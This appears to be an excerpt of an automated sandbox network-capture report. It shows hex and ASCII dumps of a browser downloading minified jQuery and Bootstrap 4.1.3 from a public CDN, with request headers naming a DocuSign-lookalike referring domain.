2025-01-14 16:25:33 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2025-01-14 16:25:33 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2025-01-14 16:25:33 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2025-01-14 16:25:33 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2025-01-14 16:25:33 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2025-01-14 16:25:33 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2025-01-14 16:25:33 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2025-01-14 16:25:33 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2025-01-14 16:25:33 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	51407	104.18.11.207	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:33 UTC	661	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://docusign.legalcloudfiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:33 UTC	967	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:25:33 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/04/2024 02:53:43 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 1 CDN-RequestId: 7fedeed1ac4f734c4f5baf0abe375bbe CDN-Cache: HIT CF-Cache-Status: HIT Age: 1762042 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 901efb92ca018ca8-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:25:33 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bec/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 Data Ascii: n,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUI
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 Data Ascii: handler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retu
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 2c 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d Data Ascii: ,_._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 Data Ascii: (t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQuery
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 Data Ascii: this._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibili
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 Data Ascii: g=function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTE
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 Data Ascii: lement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this
